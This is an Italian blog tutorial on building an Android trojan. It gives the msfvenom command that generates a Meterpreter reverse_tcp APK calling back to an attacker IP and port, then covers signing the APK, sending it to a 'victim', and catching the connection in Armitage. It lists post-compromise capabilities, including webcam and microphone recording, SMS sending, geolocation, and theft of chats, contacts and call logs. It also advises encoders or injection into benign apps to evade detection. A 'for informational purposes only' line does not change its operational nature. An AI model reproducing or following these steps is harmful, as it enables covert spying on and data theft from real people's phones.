Creare Trojan per android
In questo articolo andiamo a vedere come creare un trojan per android. Andremo ad utilizzare gli stessi tool utilizzati nell’articolo precedente in cui andavamo a fare la stessa operazione con windows, solo che questa volta, per variare e per avere un panorama più ampio, invece della console di Metasploit msfconsole andreamo a gestire il nostro attacco ad uno o più host utilizzano un’interfaccia grafica chiamata Armitage.
Possiamo utilizzare questa interfaccia per gestire molo più comodamente un qualsiasi tipo di attacco trasmesso tramite un vettore trojan iniettato dentro un programma di natura benevola o dentro un trojan realizzato ad hoc.
In questa guida andremo a vedere la seconda ipotesi: creeremo quindi un’apk android il cui unico scopo sia quello di garantirci accesso al dispositivo vittima, in futuro vedremo anche come iniettare il nostro trojan in applicazioni benevoli per rendere il nostro attacco un filo più piccante.
Tool necessari: li troviamo tutti in kali linux
Iniziamo con la creazione del trojan, apriamo la console e digitiamo
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R > app.apk
Come visto in precedenza alla voce LPORT e LHOST andiamo ad inserire rispettivamente una porta libera da noi scelta e l’indirizzo IP (remoto o locale della macchina attaccante)
Una volta fatto ciò troveremo nella cartella in cui ci troviamo un file denominato app.apk che contiene il nostro trojan, il passaggio successivo è quello di andare a firmare digitalmente l’applicazione android (per motivi di sicurezza senza una valida firma potrebbe non essere possibile installarla). Lo andiamo a fare digitando da terminale
d2j-apk-sign app.apk
Fatto ciò comparirà un nuovo file denominato app-signed.apk. E’ proprio questo il file che dobbiamo andare ad inviare alla nostra vittima.
Volendo, ma lo vedremo in un secondo articolo, possiamo andare a modificare l’apk da noi creato per destare meno sospetti utilizzando apktool, contenuto sempre all’interno di kali linux.
Una volta creato il nostro trojan, prima che la vittima lo apra, dobbiamo creare un handler che sia pronto a gestire l’evetuale connessione della vittima. Possiamo fare ciò utilizzando Armitage. Immaginando che armitage sia correttamente installato, dopo aver avviato postgresql con il comando
service postgresql start
possiamo avviare armitage cercandolo tra le applicazioni nel finder o semplicemente scrivendo da console
armitage
Una volta avviato ci troviamo di fronte ad una schermata del genere:
Dal menù di sinistra andiamo alla voce payload->android->meterpreter e poi facciamo doppio click sulla voce reverse_tcp (che è il tipo di payload che stiamo utilizzando per questo trojan).
Ci si aprirà la seguente schermata in cui dobbiamo andare ad impostare l’ip della macchina attaccante (se quello già presente non fosse corretto) e la porta che abbiamo scelto nel momento in cui abbiamo creato il trojan.
Nel momento in cui clicchiamo su Lauch infice, si apre una nuova tab nella parte bassa della nostra schermata: siamo ufficialmente in ascolto e non ci resta che aspettare che la vittima apra l’apk malevolo.
Nel momento in cui uno o più dispositivi aprono il nostro apk li vedremo comparire nella nostra schermata di armitage in questo modo:
Possiamo considerarci ufficialmente in dialogo con il dispositivo attaccato nel momento in cui vediamo comparire i ‘fulmini’, ora possiamo digitare help nella console per vedere la lista di tutti i comandi o cliccare con il tasto destro sull’icona del dispositivo attaccato appena comparso per vedere tutte le possibilità di iterazioni.
Le cose che possiamo fare sono tante: registrazioni audio/video dalla webcam, stream diretto dalla webcam, avvio di applicazioni, visualizzare tutti i file, caricare file sul dispositivo remoto, inviare sms, geolocalizzare, scaricare chat, elenco contatti ed elenco chiamate del dispositivo.
PS: anche questa guida è fatta solamente a scopo informativo! 😀
Sui dispositivi di nuovissima generazione (galaxy s8 in su) è necessario utilizzare encoder o iniettare il trojan in un apk benevolo per evitare che il sistema ne riconosca la pericolosità (samsung ha adottato numerose misure di sicurezza di recente, cosa che purtroppo non si può dire per tutti i produttori di dispositivi)